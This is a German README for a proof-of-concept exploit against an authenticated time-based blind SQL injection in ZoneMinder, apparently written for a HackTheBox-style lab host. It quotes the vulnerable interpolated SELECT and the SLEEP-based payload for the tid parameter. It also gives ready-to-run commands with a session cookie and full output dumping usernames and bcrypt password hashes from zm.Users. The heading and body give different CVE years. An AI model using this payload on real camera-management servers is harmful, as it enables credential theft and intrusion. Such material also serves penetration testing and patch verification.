
CVE-2025-51482 POC, extrahiere Anmeldedaten aus zm.Users
Ein Proof-of-Concept-Exploit für CVE-2024-51482, eine authentifizierte zeitbasierte Blind-SQL-Injection-Schwachstelle in ZoneMinder v1.37. ≤ 1.37.64*.
Das Skript extrahiert Benutzernamen und Passwort-Hashes aus der Tabelle zm.Users mittels binärer Suche (Bisektion) über ein SLEEP()-basiertes Orakel.
Der removetag-Handler in web/ajax/event.php parametrisiert sicher eine DELETE-Abfrage, interpoliert dann aber direkt eine benutzergesteuerte Eingabe in ein nachfolgendes SELECT:
// Safe — parameterized
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
// Vulnerable — string interpolation
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId";
$rowCount = dbNumRows($sql);
$tagId stammt direkt aus $_REQUEST['tid'] ohne Sanitisierung, was eine Injektion über den Parameter tid ermöglicht.
requests (pip install requests)ZMSESSID-Session-Cookie von einem angemeldeten ZoneMinder-Kontopython3 CVE-2024-51482.py --url <TARGET_URL> --zmsessid <SESSION_COOKIE>
Argumente:
--url — Basis-URL von ZoneMinder (z.B. http://cctv.htb/zm) (erforderlich)--zmsessid — Wert des ZMSESSID-Cookies (erforderlich)--sleep — Sekunden für die zeitbasierte Inferenz (Standard: 3)--timeout — Anforderungs-Timeout in Sekunden (Standard: sleep + 3)Beispiele:
# Basic
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh
# Faster on low-latency networks
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 2
# Custom timeout
python3 CVE-2024-51482.py --url http://cctv.htb/zm --zmsessid gofls5ln2jubbehfulf32j54mh --sleep 3 --timeout 10
Melden Sie sich bei ZoneMinder an, öffnen Sie die Browser-Entwicklertools (F12) -> Anwendung -> Cookies, und kopieren Sie den Wert von ZMSESSID. Alternativ können Sie eine beliebige authentifizierte Anforderung in Burp Suite abfangen und den Wert aus dem Cookie-Header entnehmen.
[*] Baseline check...
[*] Baseline: 0.62s
[*] Testing injection...
[*] Sleep test: 2.66s
[+] Injection confirmed!
[*] Dumping ZoneMinder Users...
[*] Counting rows in zm.Users...
[+] Found 3 user(s)
[*] Extracting username 1/3...
[*] Length: 5
[*] admin
[+] Username: admin
[*] Extracting password for 'admin'...
[*] Length: 60
[*] $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[+] Password hash: $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
[*] Extracting username 2/3...
[*] Length: 4
[*] mark
[+] Username: mark
[*] Extracting password for 'mark'...
[*] Length: 60
[*] $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[+] Password hash: $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
[*] Extracting username 3/3...
[*] Length: 10
[*] superadmin
[+] Username: superadmin
[*] Extracting password for 'superadmin'...
[*] Length: 60
[*] $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
[+] Password hash: $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
==================================================
DUMP COMPLETE
==================================================
admin : $2y$10$t5z8uIT.n9uCdHCNidcLf.39T1Ui9nrlCkdXrzJMnJgkTiAvRUM6m
mark : $2y$10$prZGnazejKcuTv5bKNexXOgLyQaok0hq07LW7AJ/QNqZolbXKfFG.
superadmin : $2y$10$cmytVWFRnt1XfqsItsJRVe/ApxWxcIFQcURnm5N.rhlULwM0jrtbm
tid=1-Anforderung, um die normale Antwortzeit zu messen.SLEEP(2) und überprüft, ob die Antwort um ≥2 Sekunden verzögert ist.COUNT(*) auf zm.Users durch, um die Anzahl der Konten zu ermitteln.Username als auch Password binär durchsucht (~7 Anforderungen pro Zeichen gegenüber 95 beim linearen Scan).Payload-Struktur:
GET /zm/index.php?view=request&request=event&action=removetag&tid=<PAYLOAD>&id=1
1 AND (SELECT 1 FROM (SELECT SLEEP(3) FROM DUAL WHERE <condition>) as dummy)
id=1 ist erforderlich, da das sichere DELETE vor dem verwundbaren SELECT ohne diesen Parameter einen 500-Fehler werfen würde, was die Ausführung abbricht, bevor die Injektion erreicht wird.
Dieses Tool dient ausschließlich autorisierten Sicherheitstests und der Bildungsforschung.
Holen Sie stets eine ausdrückliche schriftliche Genehmigung ein, bevor Sie ein System testen, das Ihnen nicht gehört.
Der Autor übernimmt keine Haftung für Missbrauch oder Schäden, die durch diese Software verursacht werden.